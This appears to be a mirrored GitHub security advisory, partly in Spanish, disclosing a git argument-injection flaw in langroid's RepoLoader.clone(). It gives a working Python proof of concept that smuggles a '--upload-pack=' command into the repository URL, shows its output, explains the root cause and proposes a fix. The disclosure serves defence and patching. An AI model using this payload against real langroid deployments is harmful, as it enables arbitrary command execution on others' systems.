GHSA-MHH2-32XG-4CPG
Git argument injection in langroid RepoLoader.clone executes arbitrary commands
Texto original en inglés · Ver en español
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Fuente: GitHub
Ciclo de vida de la vulnerabilidad
| Fecha | Fase | Evento | Detalle |
|---|---|---|---|
| Divulgación | Publicada | GHSA-MHH2-32XG-4CPG divulgada · CVSS 8.8 (GitHub) | |
| Divulgación | Modificada | Última actualización del registro | |
| Monitoreo | Detectada | Ingresó al índice | |
| Monitoreo | Verificada | Última verificación contra las fuentes |
Summary
`RepoLoader.clone()` in langroid 0.70.0 passes a caller-supplied repository URL to `subprocess.run(["git", "clone", self.url, path])` without a `--` separator or URL validation. A value beginning with `--upload-pack=` is parsed by git as an option whose argument is handed to a shell, so the caller can execute an arbitrary command.
Impact
An attacker who can supply the repository URL to a langroid workflow, for example through a document question-answering tool that accepts a repo URL, can run OS commands with the privileges of the langroid process. The published advisory for this component concerns symlink-based file reads in folder ingestion, not subprocess argument injection, and its fix does not affect this path.
Reproduction
The PoC stubs the GitHub metadata lookup exactly as the project's own tests do, supplies a crafted URL to `RepoLoader.clone()`, and observes a marker file written by the injected command. It uses only a temporary directory and no network. Save as `poc_repo_loader_rce_content.py` and run it with langroid 0.70.0 installed.
import os, tempfile
from pathlib import Path
from unittest import mock
WORK = Path(tempfile.mkdtemp(prefix="langroid-rce-poc-"))
os.chdir(WORK)
MARKER = WORK / "PWNED_MARKER"
from langroid.parsing.repo_loader import RepoLoader
payload = (
'--upload-pack=python -c "open(r\'%s\',\'w\').write(\'PWNED_BY_LANGROID_POC\')" '
'https://github.com/langroid/langroid'
) % MARKER
with mock.patch.object(RepoLoader, "_get_repo_with_retry", return_value=None):
loader = RepoLoader(payload)
dest = str(WORK / "dest")
loader.clone(dest)
print("[*] marker exists :", MARKER.exists())
if MARKER.exists():
print("[+] marker content:", MARKER.read_text())Observed output:
[*] url : --upload-pack=python -c "open(r'C:\Users\towch\AppData\Local\Temp\langroid-rce-poc-76xkfj8_\PWNED_MARKER','w').write('PWNED_BY_LANGROID_POC')" https://github.com/langroid/langroid
[*] calling real RepoLoader.clone(path=...)
Cloning into 'dest'...
fatal: Could not read from remote repository.
2026-11-18 23:21:41 - ERROR - Git clone failed: Command '['git', 'clone', '--upload-pack=python -c ...', ...]' returned non-zero exit status 128.
[*] marker exists : True
[+] marker content: PWNED_BY_LANGROID_POCThe clone fails as expected, but the injected command has already run. A second PoC using `touch PWNED` through the full `load()` path produced the same marker.
Affected versions
- `langroid` 0.70.0 (current latest release on PyPI): vulnerable
- Versions 0.30.0 through 0.70.0 contain the unseparated git argument
- No fixed release is available.
Root cause
`langroid/parsing/repo_loader.py`, function `RepoLoader.clone()` at line 320:
subprocess.run(["git", "clone", self.url, path], check=True)`self.url` is assigned directly from the constructor argument at line 145, and `load()` at lines 437 to 440 calls `clone()` when no local clone path is configured. Because the URL occupies the position right after `git clone`, git treats a leading `--upload-pack=` as an option. No `--` end-of-options marker separates options from the repository argument, and no scheme or shape validation is applied to the URL.
Proposed fix
Add the end-of-options separator and validate the URL before use:
- subprocess.run(["git", "clone", self.url, path], check=True)
+ if not re.match(r"^(https?|git|ssh)://", self.url):
+ raise ValueError("repo URL must use http(s), git or ssh")
+ subprocess.run(["git", "clone", "--", self.url, path], check=True)References
- Related advisory GHSA-99m6-3pvg-q66h, symlink-based file reads in RepoLoader folder ingestion: https://github.com/langroid/langroid/security/advisories/GHSA-99m6-3pvg-q66h
- Git argument injection background: https://git-scm.com/docs/git#Documentation/git.txt---upload-packltcommandgt
Disclosure
Found by Torch4084, November 2026.
Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.
Desglose de métricas
Rangos afectados
Estado del parche por paquete
| Paquete / producto | Estado | Corregida en | Desde divulgación | Última versión |
|---|---|---|---|---|
pypilangroid |
Sin parche | — | — | 0.69.22 afectada |
Arsenal público
Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.
https://github.com/langroid/langroid/security/advisories/GHSA-mhh2-32xg-4cpgLas referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.
